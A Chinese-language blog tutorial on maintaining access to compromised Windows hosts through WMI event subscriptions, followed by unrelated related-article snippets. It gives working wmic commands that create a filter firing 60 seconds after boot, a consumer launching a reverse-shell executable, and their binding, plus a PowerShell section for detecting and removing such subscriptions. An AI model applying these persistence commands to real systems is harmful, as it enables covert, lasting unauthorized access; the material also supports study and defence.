当前位置: 首页 > news >正文

内网权限维持——利用WMI进行权限维持

文章目录

  • 一、WMI事件订阅机制简介
  • 二、利用事件订阅进行权限维持
  • 三、防御方式

一、WMI事件订阅机制简介

WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中运行的各程序界定一套独立于环境的标准,允许系统中允许的程序相互交流系统的程序管理信息。

WMI事件是Windows管理架构中的一部分,它可以监视应用程序的运行、响应系统和应用程序的事件。通过使用WMI事件,应用程序可以接收系统各类通知,并且在特定事件发生时采取相应的措施。例如,磁盘空间不足时可以通过WMI事件来发出警报等。WMI事件可以通过编写WMI查询或使用WMI事件订阅API来捕获。

WMI事件订阅是一种消息机制,用来监听事件类的触发。简单来书,设置一个监听磁盘空间不足的事件订阅,程序可以在磁盘不足的第一时间接收到WMI的告警。事件订阅中有很多类,这里主要关注以下类:

类名作用
EventFilter触发器
EventConsumer执行动作
FilterToConsumerBinding绑定过滤器和消费者类(负责捆绑EventFilter和EventConsumer)

二、利用事件订阅进行权限维持

1、WQL是一种类似SQL的查询语句,是WMI提供的一种用于WMI查询或WMI事件订阅的语句。在命令行中输入wbemtest,打开Windows Management Instrumentation测试器来通过WQL语句查询系统信息。

wbemtest

在这里插入图片描述
打开后进入一个命名空间,点击“连接”——“查询”。
在这里插入图片描述
在这里插入图片描述
使用WQL查询当前系统中所有进程的PID。

select * from Win32_Process

在这里插入图片描述
此外,还有其他查询语句。

# 获取主机名
select * from Win32_ComputerSystem
# 获取BOIS信息
select * from Win32_BOIS
# 获取键盘信息
select * from Win32_Keyboard
# 获取服务列表
select * from Win32_Service
# 获取磁盘列表
select * from Win32_LogicalDisk
# 获取光驱信息
select * from Win32_CDROMDriver

2、利用WMI通知查询的方式来监听windows打印机任务,选择“通知查询”。并使用如下WQL语句:

select * from __InstanceCreationEvent within 0.001 where TargetInstance ISA "Win32_PrintJob"
# __InstanceCreateEvent:代表windows事件类
# within 0.001:代表轮询时间,轮询时间为0.001s,可以理解为每毫秒查询一次该事件
# TargetInstance:实例名称
# ISA:等于
# Win32_PrintJob:打印机名称

3、我们可以将通知查询和执行动作进行捆绑,捆绑之后,系统触发某项查询规则时会立即执行对应动作。首先创建一个触发器,代码如下:

# 在系统初始化之后的第60秒将会进行通知
wmic /namespace:"\\root\subscription" PATH __EventFilter create Name="Testone",EventNameSpace="root\cimv2",Querylanguage="WQL",Query="select * from __InstanceModificationEvent within 60 where TargetInstance ISA "Win32_PerfFormattedData_PerfOS_SYSTEM""
# __EventFilter:触发器
# Testone:触发器名称
# 触发的通知条件由Query决定
# Win32_PerfFormattedData_PerfOS_SYSTEM:windows系统初始化

在这里插入图片描述4、创建好触发器后,需要绑定一个对应的执行动作,也就是触发器在查询到想要的内容后就会触发绑定的执行动作。执行动作需要将命名空间指定为触发器所设置的命名空间,创建执行动作可以使用EventConsumer来完成。当然,需要生成反弹shell,设置监听器哈!

# 当Testone时间被触发后,C:\tmp\reverse_shell.exe将会被执行
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer create Name="Testone",ExecutablePath="C:\tmp\reverse_shell.exe",CommandLineTemplate="C:\tmp\reverse_shell.exe"

在这里插入图片描述
5、使用FilterToConsumerBinding来绑定刚刚所创建的触发器和执行动作。

# 绑定触发器和执行动作
wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding create Filter="__EventFilter.Name=\"Testone\"",Consumer="CommandLineEventConsumer.Name=\"Testone\""

在这里插入图片描述
6、重启计算,在系统进行初始化工作(重启/重新登录)的第60秒,获取反弹shell。
在这里插入图片描述

三、防御方式

# 查询系统所有命名空间
Get-WmiObject -Namespace root -List -Recurse | Select -Unique __NAMESPACE
# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

在这里插入图片描述

# 列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

在这里插入图片描述

# 列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

在这里插入图片描述

# 列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

在这里插入图片描述

# 删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Testone'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='Testone'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Testone%'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

在这里插入图片描述
至此,系统初始化后的第60s,不会运行反弹shell脚本。

相关文章:

内网权限维持——利用WMI进行权限维持

文章目录 一、WMI事件订阅机制简介二、利用事件订阅进行权限维持三、防御方式 一、WMI事件订阅机制简介 WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中…...

【数据结构算法经典题目刨析(c语言)】括号匹配问题(图文详解)

💓 博客主页:C-SDN花园GGbond ⏩ 文章专栏:数据结构经典题目刨析(c语言) 目录 一、题目描述 二、解题思路 三、代码实现 一、题目描述 二、解题思路 问题要求将三种类型括号匹配,其中包括顺序匹配和数量匹配 使用栈的后进先…...

浅谈 Spring AOP框架 (1)

文章目录 一、什么是 Spring AOP二、为什么要使用 Spring AOP三、AOP 的一些应用场景四、AOP 的组成五、如何使用 Spring AOP六、Spring AOP 的实现原理6.1、JDK 和 CGLIB 的区别 一、什么是 Spring AOP AOP (Aspect Oriented Programming) :面向切面编程&#xff…...

Linux 面试准备 - 2024

复习一下,资料来自慕课网课程 Linux 速成班和一些网上面试资料。 1. Linux 内核功能 1. 内存管理 2. 进程管理 3. 设备驱动程序 4. 系统调用和安全防护 2. 文件系统 - 一切皆文件 2.1 文件目录 /根目录etc配置文件bin必要命令usr 二级目录(非用户…...

C++笔记---类和对象(中)

1. 类的默认成员函数 默认成员函数就是用户没有显式实现,编译器会自动生成的成员函数称为默认成员函数。 一个类,我们不写的情况下编译器会默认生成以下6个默认成员函数,分别为:构造函数,析构函数,拷贝构…...

【C++】入门基础知识

河流之所以能够到达目的地,是因为它懂得怎样避开障碍。💓💓💓 目录 ✨说在前面 🍋知识点一:C的发展历史 • 🌰1.C发展历史 • 🌰2.C的迭代与更新 • 🌰3.编程语言排…...

AI的应用场景和未来展望

AI(人工智能)的应用场景广泛且多样,已经深入到我们生活的方方面面,成为现代社会不可或缺的一部分。 AI的应用场景 1、通用软件与工具型应用 办公软件:如钉钉、飞书等,通过AI技术提供内容生成与摘要、智能…...

vim、sublime、notepad文本编辑器的使用

VIM: Windows上配置gvim并作为C和C的IDE Windows上配置gvim并作为C和C的IDE | Reasuon sublime notepad...

PyCharm中的外部更改识别:终极解决方案指南

标题:PyCharm中的外部更改识别:终极解决方案指南 引言 PyCharm,作为JetBrains公司开发的集成开发环境(IDE),以其强大的功能和高效的代码编辑体验而广受开发者喜爱。然而,在开发过程中&#xf…...

Qt——QTCreater ui界面如何统一设置字体

第一步:来到 ui 设计界面,鼠标右键点击 改变样式表 第二步:选择添加字体 第三步:选择字体样式和大小,点击 ok 第四步:点击ok或apply,完成设置...

Linux驱动入门实验班day03-GPIO子系统概述

3.通用框架1——最简单方式1:执行命令cat /sys/kernel/debug/gpio查看串口信息 gpio4对应的下列 方式2: 对于按键GPIO4_14:对应第四组第14个引脚 gpiochip3 ,从96开始, 9614110;...

240803-沉侵式翻译插件配置Ollama的API实现网页及PDF文档的翻译

1. 在插件中点击Options按钮 2. 在开发者模式中启动Enable Beta Testing Features 3 在General中进行设置 ## 4. 在Expand中设置API的URL 5. Qwen:0.5B网页翻译效果 6. Qwen:0.5BPDF翻译效果 7. 参考文献 gemma - 给沉浸式翻译插件配置本地大模型o…...

HTML-08.表单标签

一.表单标签 场景&#xff1a;在网页中主要负责数据采集功能&#xff0c;如注册、登录等数据采集 标签&#xff1a;<form> 表单项&#xff1a;不同类型的input元素、下拉列表、文本域等 <input>:定义表单项。通过type属性控制输入形式 <select>:定义下拉列表…...

SAP ABAP se16n 双击跳转实现

参考老白 SAP小技巧 改造SE16N(九 双击跳转及字段描述优化) (qq.com) se16n 双击跳转实现 我的实现 se38 lse16nlcl 287行 call method cl_gui_control>set_focusexporting control alv_grid. *.....at the moment do detail view on double clickCALL METHOD cl_gu…...

Linux shell编程学习笔记68: curl 命令行网络数据传输工具 选项数量雷人(上)

0 前言 在网络时代&#xff0c;有经常需要在网络上传输数据&#xff0c;时我们需要通过网络下载文件&#xff0c;为了满足这种时代需要&#xff0c;Linux提供了众多网络命令&#xff0c;我们今天先研究curl命令。例如&#xff0c;我们可以使用 curl 从 URL 下载文件&#xff0…...

马尔科夫决策过程

马尔科夫决策过程 贝尔曼方程 贝尔曼方程&#xff08;Bellman Equation&#xff09;是动态规划中的一个核心概念&#xff0c;用于解决最优决策问题。贝尔曼方程通过递归的方式&#xff0c;将问题分解为子问题&#xff0c;从而使得最优策略的求解变得可行。贝尔曼方程广泛应用…...

未知攻焉知防:从攻击者视角看网络安全的“攻守之道”

自首届网络安全攻防实战演练开展以来&#xff0c;这一活动已成为网络安全领域备受关注的大事件。今年&#xff0c;攻防实战演练更上升到了一个全新高度&#xff0c;包括行动任务数量、演练周期时长、攻击强度以及演练类别等&#xff0c;较以往都有极大提升&#xff0c;堪称“史…...

数字孪生赋能智慧城市大脑智建设方案(可编辑65页PPT)

引言&#xff1a;随着科技的飞速发展&#xff0c;智慧城市的建设已成为全球城市发展的新趋势。数字孪生技术作为其中的关键技术之一&#xff0c;正逐步赋能智慧城市大脑的建设&#xff0c;推动城市治理从数字化向智能化、智慧化转型升级。本方案旨在简要介绍数字孪生赋能智慧城…...

c++----内存管理

okk&#xff0c;大家好。我们大家学习了鄙人的前面前面几篇博客&#xff0c;并且还稍微使用了一些c的基础知识。并且我们前面都说过&#xff0c;我们前面学习的知识都说过。我们前面的几篇博客都是我们以后使用c基础。但是我们大家都知道现在代码都关注什么时间啊&#xff0c;内…...

C++——哈希结构

1.unordered系列关联式容器 本节主要介绍unordered_map和unordered_set两个容器&#xff0c;底层使用哈希实现的 unordered_map 1.unordered_map是储存<key,value>键值对的关联式容器&#xff0c;其允许通过key快速查找到对应的value&#xff0c;和map非常相似&#x…...

CTF show Web 红包题第六弹

提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框&#xff0c;很难让人不联想到SQL注入&#xff0c;但提示都说了不是SQL注入&#xff0c;所以就不往这方面想了 ​ 先查看一下网页源码&#xff0c;发现一段JavaScript代码&#xff0c;有一个关键类ctfs…...

golang循环变量捕获问题​​

在 Go 语言中&#xff0c;当在循环中启动协程&#xff08;goroutine&#xff09;时&#xff0c;如果在协程闭包中直接引用循环变量&#xff0c;可能会遇到一个常见的陷阱 - ​​循环变量捕获问题​​。让我详细解释一下&#xff1a; 问题背景 看这个代码片段&#xff1a; fo…...

React Native 导航系统实战(React Navigation)

导航系统实战&#xff08;React Navigation&#xff09; React Navigation 是 React Native 应用中最常用的导航库之一&#xff0c;它提供了多种导航模式&#xff0c;如堆栈导航&#xff08;Stack Navigator&#xff09;、标签导航&#xff08;Tab Navigator&#xff09;和抽屉…...

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

剑指offer20_链表中环的入口节点

链表中环的入口节点 给定一个链表&#xff0c;若其中包含环&#xff0c;则输出环的入口节点。 若其中不包含环&#xff0c;则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

linux 下常用变更-8

1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行&#xff0c;YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID&#xff1a; YW3…...

【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)

升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点&#xff0c;但无自动故障转移能力&#xff0c;Master宕机后需人工切换&#xff0c;期间消息可能无法读取。Slave仅存储数据&#xff0c;无法主动升级为Master响应请求&#xff…...

UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)

UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中&#xff0c;UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化&#xf…...

全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比

目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec&#xff1f; IPsec VPN 5.1 IPsec传输模式&#xff08;Transport Mode&#xff09; 5.2 IPsec隧道模式&#xff08;Tunne…...

2023赣州旅游投资集团

单选题 1.“不登高山&#xff0c;不知天之高也&#xff1b;不临深溪&#xff0c;不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...